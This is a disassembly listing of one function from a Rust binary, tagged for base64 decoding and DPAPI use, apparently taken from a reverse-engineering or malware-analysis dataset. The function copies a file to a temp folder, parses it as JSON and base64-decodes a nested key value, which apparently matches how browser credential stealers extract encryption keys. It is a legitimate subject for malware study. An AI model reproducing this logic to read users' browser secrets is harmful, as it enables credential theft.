Function at 0x100073d0
Capabilities:
Decode data using base64 via dword translation table
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x118
call 0x100073e4
pop eax
mov dword [esp + 0x20], edx
mov dword [esp + 0x88], ecx
mov dword [esp + 8], eax
lea esi, [esp + 0x90]
mov edx, str.lovesrc_find.rs
mov ecx, esi
push 4
call sym.tempdir::TempDir::new::hee8d9f529dc63de4
pop eax
cmp dword [esi], 0x80000001
je 0x10008a8c
lea eax, [esp + 0x90]
lea ecx, [esp + 0xf0]
movsd xmm0, qword [eax]
movsd xmm1, qword [eax + 8]
movsd qword [ecx + 8], xmm1
movsd qword [ecx], xmm0
call sym.tempdir::TempDir::path::h9d453d3f674ee437
mov ebx, edx
lea edi, [esp + 0x104]
mov edx, eax
mov ecx, edi
push 0xb
push 0x10167ad8
push ebx
call sym.std::path::Path::_join::hc26e11a7754a7b10
add esp, 0xc
mov esi, dword [edi + 4]
mov ebx, dword [edi + 8]
mov edx, dword [esp + 0x20]
lea edi, [esp + 0x90]
mov ecx, edi
push ebx
push esi
call sym.std::fs::copy::h7c2af619aa2efb12
pop eax
pop ecx
cmp dword [edi], 0
jne 0x10008aac
mov eax, dword [esp + 0x104]
and dword [esp + 0x90], 0
and dword [esp + 0x98], 0
and dword [esp + 0x9c], 0
xorps xmm0, xmm0
mov dword [esp + 0xa0], 7
movsd qword [esp + 0xaa], xmm0
movsd qword [esp + 0xa4], xmm0
mov byte [esp + 0xac], 1
mov dword [esp + 0x1c], eax
lea edi, [esp + 0x60]
lea eax, [esp + 0x90]
mov dword [esp + 0x18], esi
mov edx, esi
mov ecx, edi
push eax
push ebx
call dbg.open
pop eax
pop ecx
cmp byte [edi], 4
jne 0x100074ef
mov edi, dword [esp + 0x64]
jmp 0x100074ff
mov eax, dword [esp + 0x60]
mov edi, dword [esp + 0x64]
cmp al, 4
jne 0x100075dd
lea esi, [esp + 0x90]
mov edx, edi
mov ecx, esi
call dbg.file_attr
mov eax, dword [esi]
mov dword [esp + 0x20], edi
xor eax, 2
or eax, dword [esi + 4]
jne 0x1000756d
mov al, byte [esp + 0x98]
mov ebx, dword [esp + 0x9c]
cmp al, 4
je 0x10007574
cmp al, 3
jne 0x10007563
mov edi, dword [ebx + 4]
mov esi, dword [ebx]
mov eax, dword [edi]
push esi
call eax
pop eax
cmp dword [edi + 4], 0
je 0x1000754e
mov edx, dword [edi + 8]
mov ecx, esi
call sym.___rust_dealloc
push 4
pop edx
mov ecx, ebx
call sym.___rust_dealloc
mov edi, dword [esp + 0x20]
lea esi, [esp + 0x90]
mov al, 1
xor ecx, ecx
mov dword [esp + 0x4c], eax
jmp 0x1000757e
mov ebx, dword [esp + 0xc8]
mov ecx, ebx
mov dword [esp + 0x4c], 0
and dword [esp + 0x30], 0
mov dword [esp + 0x34], 1
and dword [esp + 0x38], 0
test ecx, ecx
je 0x100075d3
and dword [esp + 0x94], 0
mov edx, ecx
mov dword [esp + 0xc], ebx
not edx
shr edx, 0x1f
mov eax, esi
mov ebx, ecx
lea esi, [esp + 0x60]
mov ecx, esi
push eax
push ebx
call sym.alloc::raw_vec::finish_grow::hb2762d08c2873cf7
pop eax
pop ecx
cmp dword [esi], 0
je 0x10007603
mov word [esp + 0x54], 0x2601
mov dword [esp + 0x50], 0x80000000
jmp 0x100079fb
mov dword [esp + 0x48], 0
jmp 0x10007617
mov ecx, eax
mov byte [esp + 0x54], al
shr eax, 0x18
shr ecx, 8
mov byte [esp + 0x57], al
mov word [esp + 0x55], cx
mov dword [esp + 0x58], edi
mov dword [esp + 0x50], 0x80000000
jmp 0x10007a01
mov eax, dword [esp + 0x64]
mov dword [esp + 0x48], ebx
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], ebx
mov ebx, dword [esp + 0xc]
cmp byte [esp + 0x4c], 0
mov esi, 0x2000
jne 0x10007659
mov eax, ebx
add eax, 0x400
jb 0x1000764a
mov ecx, eax
and ecx, 0x1fff
sub esi, ecx
add esi, eax
setb dl
test ecx, ecx
setne cl
cmove esi, eax
and cl, dl
cmp cl, 1
jne 0x1000764f
mov esi, 0x2000
mov edx, dword [esp + 0x48]
xor ecx, ecx
test ebx, ebx
jne 0x100076a2
mov eax, dword [esp + 0x48]
xor ecx, ecx
cmp eax, 0x1f
ja 0x100076a0
lea eax, [esp + 0x30]
mov edx, edi
lea ecx, [esp + 0x90]
push eax
call dbg.small_probe_read<std::fs::File>
pop eax
mov dl, byte [esp + 0x90]
cmp dl, 4
jne 0x100078d0
cmp dword [esp + 0x94], 0
je 0x1000791a
mov edx, dword [esp + 0x30]
mov ecx, dword [esp + 0x38]
jmp 0x100076a2
mov edx, eax
mov dword [esp + 0x10], esi
xor esi, esi
cmp ecx, edx
jne 0x100076ec
cmp edx, dword [esp + 0x48]
jne 0x100076ec
mov edx, edi
lea eax, [esp + 0x30]
lea ecx, [esp + 0x90]
push eax
call dbg.small_probe_read<std::fs::File>
pop eax
mov dl, byte [esp + 0x90]
cmp dl, 4
jne 0x100078d0
cmp dword [esp + 0x94], 0
je 0x1000792c
mov edx, dword [esp + 0x30]
mov ecx, dword [esp + 0x38]
cmp ecx, edx
jne 0x10007728
mov edi, edx
mov ah, 0x26
mov al, 1
add edi, 0x20
mov dword [esp + 0x14], eax
jb 0x1000792a
lea eax, [edx + edx]
mov ebx, ecx
cmp eax, edi
cmova edi, eax
test edx, edx
je 0x1000772e
mov eax, dword [esp + 0x34]
mov dword [esp + 0x90], eax
xor eax, eax
mov dword [esp + 0x98], edx
inc eax
jmp 0x10007730
mov eax, dword [esp + 0x34]
jmp 0x10007771
xor eax, eax
mov edx, edi
mov dword [esp + 0x94], eax
not edx
shr edx, 0x1f
lea eax, [esp + 0x90]
lea ecx, [esp + 0x60]
push eax
push edi
call dbg.finish_grow<alloc::alloc::Global>
pop eax
pop ecx
cmp dword [esp + 0x60], 0
jne 0x1000792a
mov eax, dword [esp + 0x64]
mov edx, edi
mov ecx, ebx
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], edi
mov edi, dword [esp + 0x20]
add eax, ecx
mov dword [esp + 0x14], edx
sub edx, ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x90], eax
mov eax, dword [esp + 0x10]
cmp edx, eax
cmovae edx, eax
mov dword [esp + 0x94], edx
and dword [esp + 0x98], 0
mov dword [esp + 0x24], edx
mov dword [esp + 0x9c], esi
mov edx, edi
lea eax, [esp + 0x90]
lea ecx, [esp + 0x60]
push eax
call dbg.read_buf
pop eax
mov al, byte [esp + 0x60]
lea esi, [esp + 0x90]
cmp al, 4
je 0x10007844
movzx eax, al
mov eax, dword [eax*4 + 0x10008bf4]
add eax, dword [esp + 8]
jmp eax
mov edx, dword [esp + 0x9c]
mov ecx, dword [esp + 0x98]
mov esi, edx
sub esi, ecx
jb 0x10008ae5
mov eax, dword [esp + 0x94]
cmp edx, eax
ja 0x10008ad4
test ecx, ecx
je 0x10007922
mov ebx, dword [esp + 0xc]
add ebx, ecx
cmp byte [esp + 0x4c], 0
mov dword [esp + 0xc], ebx
mov dword [esp + 0x38], ebx
je 0x100078c3
mov eax, dword [esp + 0x24]
mov ebx, 0xffffffff
cmp edx, eax
mov edx, dword [esp + 0x10]
cmovne edx, ebx
cmp ecx, eax
jne 0x100078bf
mov ecx, dword [esp + 0xc]
cmp eax, edx
jb 0x100078b9
test edx, edx
lea eax, [edx + edx]
mov ebx, 0xffffffff
cmovs eax, ebx
mov dword [esp + 0x10], eax
jmp 0x100078c7
mov dword [esp + 0x10], edx
jmp 0x100078c7
mov dword [esp + 0x10], edx
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x14]
jmp 0x100076a8
movzx esi, byte [esp + 0x93]
movzx eax, word [esp + 0x91]
mov ecx, dword [esp + 0x94]
shl esi, 0x10
mov dh, al
mov dword [esp + 0xc], ecx
or esi, eax
mov dword [esp + 0x14], edx
shr esi, 8
mov dword [esp + 0x10], esi
jmp 0x1000793e
mov dword [esp + 0xc], 0
mov al, 4
mov dword [esp + 0x14], eax
jmp 0x1000793a
jmp 0x1000793a
mov ecx, dword [esp + 0x38]
mov al, 4
mov dword [esp + 0x14], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov ebx, dword [esp + 0x34]
mov edi, dword [esp + 0x38]
lea esi, [esp + 0x90]
mov edx, ebx
mov ecx, esi
push edi
call dbg.from_utf8
pop eax
mov edx, dword [esp + 0x14]
cmp dword [esi], 0
movzx eax, dh
je 0x1000798c
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
shl esi, 8
or esi, eax
cmp dl, 4
mov eax, 0x101bd9bc
cmove ecx, eax
movzx eax, dl
push 2
pop edx
cmovne edx, eax
and dword [esp + 0x38], 0
jmp 0x100079c8
mov ecx, dword [esp + 0xc]
cmp dl, 4
mov dword [esp + 0x38], edi
jne 0x100079bc
mov eax, dword [esp + 0x38]
movsd xmm0, qword [esp + 0x30]
mov dword [esp + 0x58], eax
movsd qword [esp + 0x50], xmm0
push dword [esp + 0x20]
call sub.kernel32.dll_CloseHandle
mov esi, dword [esp + 0x50]
jmp 0x10007a06
mov esi, dword [esp + 0x10]
movzx esi, si
shl esi, 8
or esi, eax
mov eax, esi
mov byte [esp + 0x54], dl
mov word [esp + 0x55], ax
shr eax, 0x10
mov edi, dword [esp + 0x20]
cmp dword [esp + 0x30], 0
mov byte [esp + 0x57], al
mov dword [esp + 0x58], ecx
mov dword [esp + 0x50], 0x80000000
je 0x100079fb
xor edx, edx
mov ecx, ebx
inc edx
call sym.___rust_dealloc
push edi
call sub.kernel32.dll_CloseHandle
mov esi, 0x80000000
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
cmp esi, 0x80000000
jne 0x10007a29
lea ecx, [esp + 0x50]
call sym.__ZN4core3ptr94drop_in_place_LT_core..result..Result_LT_alloc..string..String_C_std..io..error..Error_GT__GT_17h4170f4e90b3f17
jmp 0x10007b9b
mov edx, dword [esp + 0x54]
mov dword [esp + 0x80], esi
lea esi, [esp + 0x60]
mov dword [esp + 0x7c], edx
mov ecx, esi
push dword [esp + 0x58]
call sym.serde_json::de::from_str::hed61646e8a2fbe72
pop eax
mov bl, byte [esi]
cmp bl, 6
jne 0x10007a5d
lea ecx, [esp + 0x60]
call sym.__ZN4core3ptr100drop_in_place_LT_core..result..Result_LT_serde_json..value..Value_C_serde_json..error..Error_GT__GT_17h8ab63b5
jmp 0x10007b86
lea esi, [esp + 0x60]
movsd xmm2, qword [esp + 0xf0]
lea edx, [esp + 0x30]
movsd xmm1, qword [esi + 8]
movsd xmm0, qword [esi + 0x10]
movsd xmm3, qword [esi]
movsd qword [edx], xmm2
movsd qword [esp + 0x98], xmm1
movsd xmm1, qword [esp + 0xf8]
movsd qword [esp + 0xa0], xmm0
movsd qword [esp + 0x90], xmm3
movsd qword [edx + 8], xmm1
lea edi, [esp + 0xdc]
mov ecx, edi
call sym.tempdir::TempDir::close::h092734575a283462
mov ecx, edi
call sym.core::ptr::drop_in_place_LT_core..result..Result_LT__LP__RP__C_std..io..error..Error_GT__GT_::h5e2d578985658e2a
mov edx, 0x10167b84
mov ecx, esi
push 8
call sym.__ZN10serde_json5value5index87__LT_impl_u20_core..ops..index..Index_LT_I_GT__u20_for_u20_serde_json..value..Value_GT_5index17h
pop ecx
mov edx, 0x10167b8c
mov ecx, eax
push 0xd
call sym.__ZN10serde_json5value5index87__LT_impl_u20_core..ops..index..Index_LT_I_GT__u20_for_u20_serde_json..value..Value_GT_5index17h
pop ecx
mov ecx, eax
call sym.serde_json::value::Value::as_str::h5b09fcbff137ebc1
test eax, eax
je 0x10007b7d
mov ecx, edx
add ecx, 3
jb 0x10008af7
mov ebx, edx
shr ecx, 2
mov dword [esp + 0x1c], eax
lea edx, [ecx + ecx*2]
lea ecx, [esp + 0x30]
call sym.alloc::vec::Vec_LT_T_GT_::with_capacity::h9db53d74deea90ba
mov eax, ebx
add eax, 7
jb 0x10008b09
mov edi, dword [esp + 0x38]
shr eax, 3
imul edx, eax, 6
mov dword [esp + 0x10], eax
add edx, edi
jb 0x10008b1b
lea esi, [esp + 0x30]
mov ecx, esi
call sym.alloc::vec::Vec_LT_T_C_A_GT_::resize::hee6e201e3d92ec8c
mov edx, dword [esi + 4]
mov dword [esp + 0x8c], edi
mov ecx, edi
push 0x10166d54
push dword [esi + 8]
call fcn.1002088a
pop ecx
pop ecx
mov dword [esp + 0x48], eax
mov eax, ebx
mov dword [esp + 0x4c], edx
and eax, 7
cmp eax, 5
ja 0x10008785
mov ecx, dword [esp + 8]
mov edi, dword [esp + 0x1c]
add ecx, dword [eax*4 + 0x10008c04]
jmp ecx
lea ecx, [esp + 0x60]
call sym.core::ptr::drop_in_place_LT_serde_json..value..Value_GT_::h2332b0f79b47633b
mov ecx, dword [esp + 0x80]
mov edx, dword [esp + 0x7c]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
cmp bl, 6
jne 0x10007ba7
lea ecx, [esp + 0xf0]
call sym.core::ptr::drop_in_place_LT_tempdir..TempDir_GT_::hef93d5e206b085b6
mov eax, dword [esp + 0x88]
mov dword [eax], 0x80000000
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, ebx
xor esi, esi
mov dword [esp + 0xc], ebx
sub ecx, eax
cmovb ecx, esi
cmp ecx, 0x20
jb 0x10008107
lea eax, [ecx - 0x20]
mov dword [esp + 0x84], ecx
mov dword [esp + 0x20], 0
mov dword [esp + 0x28], eax
push 0x20
pop esi
mov eax, dword [esp + 0x10]
lea ecx, [esi - 0x20]
cmp ecx, dword [esp + 0x28]
ja 0x10008115
test esi, esi
je 0x10008968
cmp esi, ebx
mov dword [esp + 4], ecx
mov dword [esp + 0x10], eax
ja 0x10008983
mov ecx, dword [esp + 0x20]
lea edx, [ecx + 0x1a]
push 0x10166bf8
push dword [esp + 0x50]
push dword [esp + 0x50]
call fcn.100596f7
add esp, 0xc
mov ebx, edx
xor ecx, ecx
mov edx, eax
mov dword [esp + 0x14], eax
push 0x10166c08
mov dword [esp + 0x1c], ebx
push ebx
call fcn.1002088a
pop ecx
pop ecx
movzx ebx, byte [edi + esi - 0x20]
mov ch, byte [ebx + 0x10166a34]
cmp ch, 0xff
je 0x1000899f
movzx ebx, byte [edi + esi - 0x1f]
mov cl, byte [ebx + 0x10166a34]
cmp cl, 0xff
je 0x100089b4
movzx ebx, byte [edi + esi - 0x1e]
mov dword [esp + 0x24], edx
mov dl, byte [ebx + 0x10166a34]
cmp dl, 0xff
je 0x100088fc
movzx ebx, byte [edi + esi - 0x1d]
mov dword [esp + 0x2c], eax
mov dh, byte [ebx + 0x10166a34]
cmp dh, 0xff
je 0x10008914
movzx ebx, byte [edi + esi - 0x1c]
mov ah, byte [ebx + 0x10166a34]
cmp ah, 0xff
je 0x1000892c
movzx ebx, byte [edi + esi - 0x1b]
mov al, ch
mov byte [esp + 0x44], ah
mov ch, byte [ebx + 0x10166a34]
cmp ch, 0xff
je 0x10008944
movzx ebx, byte [edi + esi - 0x1a]
mov ah, dl
mov dl, byte [ebx + 0x10166a34]
cmp dl, 0xff
mov byte [esp + 0x40], dl
je 0x1000895c
movzx ebx, byte [edi + esi - 0x19]
mov dword [esp + 8], esi
mov dl, byte [ebx + 0x10166a34]
cmp dl, 0xff
je 0x10008977
movzx esi, cl
movzx ebx, al
movzx edi, ah
movzx eax, byte [esp + 0x40]
shl esi, 0x14
shl ebx, 0x1a
shl edi, 0xe
or ebx, esi
movzx esi, dh
shl esi, 8
or esi, edi
movzx edi, byte [esp + 0x44]
shl eax, 0x16
or esi, ebx
movzx ebx, ch
mov ecx, ebx
shr ebx, 4
shl ecx, 0x1c
shl edi, 2
or eax, ecx
or ebx, edi
or ebx, esi
movzx esi, dl
shl esi, 0x10
or esi, eax
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x24]
push ebx
push esi
call sym.base64::decode::write_u64::h531e6c8ffa210644
pop eax
pop ecx
push 6
pop ecx
mov edx, dword [esp + 0x14]
push 0x10166c18
push dword [esp + 0x1c]
call fcn.1002088a
pop ecx
pop ecx
mov esi, dword [esp + 8]
mov edi, dword [esp + 0x1c]
movzx ebx, byte [edi + esi - 0x18]
mov ch, byte [ebx + 0x10166a34]
cmp ch, 0xff
je 0x10008993
movzx ebx, byte [edi + esi - 0x17]
mov cl, byte [ebx + 0x10166a34]
cmp cl, 0xff
je 0x100089a8
movzx ebx, byte [edi + esi - 0x16]
mov dword [esp + 0x24], edx
mov dl, byte [ebx + 0x10166a34]
cmp dl, 0xff
je 0x100088f0
movzx ebx, byte [edi + esi - 0x15]
mov dword [esp + 0x2c], eax
mov dh, byte [ebx + 0x10166a34]
cmp dh, 0xff
je 0x10008908
movzx ebx, byte [edi + esi - 0x14]
mov ah, byte [ebx + 0x10166a34]
cmp ah, 0xff
je 0x10008920
movzx ebx, byte [edi + esi - 0x13]
mov al, ch
mov byte [esp + 0x44], ah
mov ch, byte [ebx + 0x10166a34]
cmp ch, 0xff
je 0x10008938
movzx ebx, byte [edi + esi - 0x12]
mov ah, dl
mov dl, byte [ebx + 0x10166a34]
cmp dl, 0xff
mov byte [esp + 0x40], dl
je 0x10008950
movzx ebx, byte [edi + esi - 0x11]
mov dl, byte [ebx + 0x10166a34]
cmp dl, 0xff
je 0x10008a38
movzx esi, cl
movzx ebx, al
movzx edi, ah
movzx eax, byte [esp + 0x40]
shl esi, 0x14
shl ebx, 0x1a
shl edi, 0xe
or ebx, esi
movzx esi, dh
shl esi, 8
or esi, edi
movzx edi, byte [esp + 0x44]
shl eax, 0x16
or esi, ebx
movzx ebx, ch
mov ecx, ebx
shr ebx, 4
shl ecx, 0x1c
shl edi, 2
or eax, ecx
or ebx, edi
or ebx, esi
movzx esi, dl
shl esi, 0x10
or esi, eax
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x24]
push ebx
push esi
call sym.base64::decode::write_u64::h531e6c8ffa210644
pop eax
pop ecx
push 0xc
pop ecx
mov edx, dword [esp + 0x14]
push 0x10166c28
push dword [esp + 0x1c]
call fcn.1002088a
pop ecx
pop ecx
mov esi, dword [esp + 8]
mov edi, dword [esp + 0x1c]
movzx ebx, byte [edi + esi - 0x10]
mov ch, byte [ebx + 0x10166a34]
cmp ch, 0xff
je 0x10008a5c
movzx ebx, byte [edi + esi - 0xf]
mov cl, byte [ebx + 0x10166a34]
cmp cl, 0xff
je 0x10008a74
movzx ebx, byte [edi + esi - 0xe]
mov dword [esp + 0x24], edx
mov dl, byte [ebx + 0x10166a34]
cmp dl, 0xff
je 0x100089c0
movzx ebx, byte [edi + esi - 0xd]
mov dword [esp + 0x2c], eax
mov dh, byte [ebx + 0x10166a34]
cmp dh, 0xff
je 0x100089d8
movzx ebx, byte [edi + esi - 0xc]
mov ah, byte [ebx + 0x10166a34]
cmp ah, 0xff
je 0x100089f0
movzx ebx, byte [edi + esi - 0xb]
mov al, ch
mov byte [esp + 0x44], ah
mov ch, byte [ebx + 0x10166a34]
cmp ch, 0xff
je 0x10008a08
movzx ebx, byte [edi + esi - 0xa]
mov ah, dl
mov dl, byte [ebx + 0x10166a34]
cmp dl, 0xff
mov byte [esp + 0x40], dl
je 0x10008a20
movzx ebx, byte [edi + esi - 9]
mov dl, byte [ebx + 0x10166a34]
cmp dl, 0xff
je 0x10008a44
movzx esi, cl
movzx ebx, al
movzx edi, ah
movzx eax, byte [esp + 0x40]
shl esi, 0x14
shl ebx, 0x1a
shl edi, 0xe
or ebx, esi
movzx esi, dh
shl esi, 8
or esi, edi
movzx edi, byte [esp + 0x44]
shl eax, 0x16
or esi, ebx
movzx ebx, ch
mov ecx, ebx
shr ebx, 4
shl ecx, 0x1c
shl edi, 2
or eax, ecx
or ebx, edi
or ebx, esi
movzx esi, dl
shl esi, 0x10
or esi, eax
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x24]
push ebx
push esi
call sym.base64::decode::write_u64::h531e6c8ffa210644
pop eax
pop ecx
push 0x12
pop ecx
mov edx, dword [esp + 0x14]
push 0x10166c38
push dword [esp + 0x1c]
call fcn.1002088a
pop ecx
pop ecx
mov esi, dword [esp + 8]
mov edi, dword [esp + 0x1c]
movzx ebx, byte [edi + esi - 8]
mov ch, byte [ebx + 0x10166a34]
cmp ch, 0xff
je 0x10008a68
movzx ebx, byte [edi + esi - 7]
mov cl, byte [ebx + 0x10166a34]
cmp cl, 0xff
je 0x10008a80
movzx ebx, byte [edi + esi - 6]
mov dword [esp + 0x18], edx
mov dl, byte [ebx + 0x10166a34]
cmp dl, 0xff
je 0x100089cc
movzx ebx, byte [edi + esi - 5]
mov dword [esp + 0x14], eax
mov dh, byte [ebx + 0x10166a34]
cmp dh, 0xff
je 0x100089e4
movzx ebx, byte [edi + esi - 4]
mov ah, byte [ebx + 0x10166a34]
cmp ah, 0xff
je 0x100089fc
movzx ebx, byte [edi + esi - 3]
mov al, ch
mov byte [esp + 0x24], ah
mov ch, byte [ebx + 0x10166a34]
cmp ch, 0xff
je 0x10008a14
movzx ebx, byte [edi + esi - 2]
mov ah, dl
mov dl, byte [ebx + 0x10166a34]
cmp dl, 0xff
mov byte [esp + 0x2c], dl
je 0x10008a2c
movzx ebx, byte [edi + esi - 1]
mov dl, byte [ebx + 0x10166a34]
cmp dl, 0xff
je 0x10008a50
movzx esi, cl
movzx ebx, al
movzx edi, ah
movzx eax, byte [esp + 0x2c]
shl esi, 0x14
shl ebx, 0x1a
shl edi, 0xe
or ebx, esi
movzx esi, dh
shl esi, 8
or esi, edi
movzx edi, byte [esp + 0x24]
shl eax, 0x16
or esi, ebx
movzx ebx, ch
mov ecx, ebx
shr ebx, 4
shl ecx, 0x1c
shl edi, 2
or eax, ecx
or ebx, edi
or ebx, esi
movzx esi, dl
shl esi, 0x10
or esi, eax
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
push ebx
push esi
call sym.base64::decode::write_u64::h531e6c8ffa210644
pop eax
pop ecx
mov eax, dword [esp + 0x10]
mov esi, dword [esp + 8]
add dword [esp + 0x20], 0x18
mov ebx, dword [esp + 0xc]
mov edi, dword [esp + 0x1c]
add eax, 0xfffffffc
add esi, 0x20
jmp 0x10007bfa
mov eax, dword [esp + 0x10]
mov dword [esp + 0x20], 0
jmp 0x1000811f
mov ecx, dword [esp + 0x84]
add esi, 0xffffffe0
cmp ecx, 8
jb 0x100082cd
mov edi, dword [esp + 0x1c]
add esi, 8
add ecx, 0xfffffff8
mov edx, esi
mov dword [esp + 0x84], ecx
lea esi, [edx - 8]
cmp esi, ecx
jae 0x100082c9
test edx, edx
je 0x100088bf
cmp edx, ebx
mov dword [esp + 0x10], eax
mov dword [esp + 8], esi
mov eax, edx
mov dword [esp + 0x18], edx
ja 0x100088cc
mov ecx, dword [esp + 0x20]
lea edx, [ecx + 8]
push 0x10166c58
push dword [esp + 0x50]
push dword [esp + 0x50]
call fcn.100596f7
add esp, 0xc
mov ecx, dword [esp + 0x18]
mov esi, eax
movzx ebx, byte [edi + ecx - 8]
mov al, byte [ebx + 0x10166a34]
cmp al, 0xff
mov byte [esp + 0x14], al
je 0x100088a4
movzx ebx, byte [edi + ecx - 7]
mov al, byte [ebx + 0x10166a34]
cmp al, 0xff
je 0x100088ad
movzx ebx, byte [edi + ecx - 6]
mov dword [esp + 0x24], edx
mov dl, byte [ebx + 0x10166a34]
cmp dl, 0xff
je 0x10008895
movzx ebx, byte [edi + ecx - 5]
mov byte [esp + 0x44], al
mov dword [esp + 0x2c], esi
mov dh, byte [ebx + 0x10166a34]
cmp dh, 0xff
je 0x100088de
mov eax, dword [esp + 0x18]
movzx ebx, byte [edi + eax - 4]
mov al, byte [ebx + 0x10166a34]
cmp al, 0xff
je 0x100088e4
mov byte [esp + 0x40], al
mov eax, dword [esp + 0x18]
movzx ebx, byte [edi + eax - 3]
mov ch, byte [ebx + 0x10166a34]
cmp ch, 0xff
je 0x100088b6
mov eax, dword [esp + 0x18]
movzx ebx, byte [edi + eax - 2]
mov al, byte [ebx + 0x10166a34]
cmp al, 0xff
mov byte [esp + 0x28], al
je 0x100088ea
mov eax, dword [esp + 0x18]
mov cl, dl
movzx ebx, byte [edi + eax - 1]
mov dl, byte [ebx + 0x10166a34]
cmp dl, 0xff
je 0x1000889b
movzx esi, byte [esp + 0x14]
movzx ebx, byte [esp + 0x44]
movzx eax, cl
shl eax, 0xe
shl esi, 0x1a
shl ebx, 0x14
or ebx, esi
movzx esi, dh
shl esi, 8
or esi, eax
movzx eax, byte [esp + 0x40]
or esi, ebx
movzx ebx, ch
mov ecx, ebx
shr ebx, 4
shl ecx, 0x1c
shl eax, 2
or ebx, eax
movzx eax, byte [esp + 0x28]
or ebx, esi
movzx esi, dl
shl esi, 0x10
shl eax, 0x16
or eax, ecx
or esi, eax
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x24]
push ebx
push esi
call sym.base64::decode::write_u64::h531e6c8ffa210644
pop eax
pop ecx
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
add dword [esp + 0x20], 6
mov ebx, dword [esp + 0xc]
mov ecx, dword [esp + 0x84]
dec eax
add edx, 8
jmp 0x1000813b
mov edi, dword [esp + 0x1c]
xor ecx, ecx
mov dword [esp + 0x10], eax
inc ecx
mov dword [esp + 0x28], ecx
cmp ecx, eax
mov dword [esp + 8], esi
jae 0x100084cf
mov dword [esp + 0x18], ecx
mov edx, edi
mov ecx, esi
push 0x10166cf4
push ebx
call fcn.100484b4
pop ecx
pop ecx
mov ecx, dword [esp + 0x20]
mov esi, eax
mov edi, edx
lea ebx, [ecx + 6]
mov edx, ebx
push 0x10166d04
push dword [esp + 0x50]
push dword [esp + 0x50]
call fcn.100596f7
add esp, 0xc
and dword [esp + 0xe0], 0
and dword [esp + 0xdc], 0
test edi, edi
je 0x1000878e
mov dword [esp + 0x20], ebx
movzx ebx, byte [esi]
mov ecx, edx
mov dl, byte [ebx + 0x10166a34]
cmp dl, 0xff
je 0x10008838
cmp edi, 1
je 0x1000879c
movzx ebx, byte [esi + 1]
mov byte [esp + 0x14], dl
mov edx, ecx
mov ch, byte [ebx + 0x10166a34]
cmp ch, 0xff
je 0x10008830
cmp edi, 3
jb 0x100087ab
movzx ebx, byte [esi + 2]
mov cl, byte [ebx + 0x10166a34]
cmp cl, 0xff
mov byte [esp + 0x24], cl
je 0x10008815
cmp edi, 3
je 0x100087ba
movzx ebx, byte [esi + 3]
mov byte [esp + 0x2c], ch
mov cl, byte [ebx + 0x10166a34]
cmp cl, 0xff
je 0x10008819
cmp edi, 5
jb 0x100087c9
movzx ebx, byte [esi + 4]
mov dword [esp + 0x40], edx
mov dword [esp + 0x44], eax
mov ch, byte [ebx + 0x10166a34]
cmp ch, 0xff
je 0x1000881d
cmp edi, 5
je 0x100087d8
movzx ebx, byte [esi + 5]
mov dh, byte [ebx + 0x10166a34]
cmp dh, 0xff
je 0x10008821
cmp edi, 7
jb 0x100087e7
movzx ebx, byte [esi + 6]
mov dl, byte [esp + 0x14]
mov al, byte [ebx + 0x10166a34]
cmp al, 0xff
je 0x10008825
cmp edi, 7
je 0x100087f6
movzx ebx, byte [esi + 7]
mov ah, cl
mov cl, byte [ebx + 0x10166a34]
cmp cl, 0xff
je 0x10008829
movzx edi, byte [esp + 0x2c]
movzx esi, dl
movzx ebx, ch
shl esi, 0x1a
shl ebx, 2
shl edi, 0x14
or edi, esi
movzx esi, byte [esp + 0x24]
shl esi, 0xe
or esi, edi
movzx edi, ah
movzx eax, al
shl edi, 8
shl eax, 0x16
or edi, esi
movzx esi, dh
mov edx, esi
or ebx, edi
movzx edi, cl
shr esi, 4
shl edx, 0x1c
shl edi, 0x10
or esi, ebx
or eax, edx
or edi, eax
lea ebx, [esp + 0xdc]
mov ecx, ebx
push 8
pop edx
push esi
push edi
call sym.base64::decode::write_u64::h531e6c8ffa210644
pop eax
pop ecx
xor ecx, ecx
push 6
pop edx
push 0x10166d64
push dword [esp + 0x44]
push dword [esp + 0x4c]
call fcn.100596f7
add esp, 0xc
mov ecx, eax
push 0x10166d74
push 6
push ebx
call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::copy_from_slice::h077a5a2d401f045f
add esp, 0xc
mov esi, dword [esp + 8]
mov ecx, dword [esp + 0x18]
mov ebx, dword [esp + 0xc]
mov edi, dword [esp + 0x1c]
mov eax, dword [esp + 0x10]
add esi, 8
inc ecx
jmp 0x100082d8
mov ecx, esi
mov edx, edi
push 0x10166c68
push ebx
call fcn.100484b4
pop ecx
pop ecx
add edx, eax
xor ebx, ebx
xor ecx, ecx
xor esi, esi
mov dword [esp + 0x24], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], edx
cmp eax, dword [esp + 0x10]
je 0x1000859f
movzx edx, byte [eax]
inc eax
lea edi, [ecx + 1]
cmp edx, 0x3d
jne 0x1000853d
test cl, 2
je 0x10008886
mov edx, dword [esp + 0xc]
test esi, esi
cmove edx, ecx
inc esi
mov ecx, edi
mov dword [esp + 0xc], edx
jmp 0x1000850c
test esi, esi
mov ebx, esi
jg 0x10008b52
mov bl, byte [edx + 0x10166a34]
cmp bl, 0xff
je 0x10008b45
mov ecx, dword [esp + 0x24]
movzx ebx, bl
mov dword [esp + 0x14], 0
inc ecx
mov dword [esp + 0x24], ecx
imul ecx, ecx, 0x3a
shld dword [esp + 0x14], ebx, cl
shl ebx, cl
test cl, 0x20
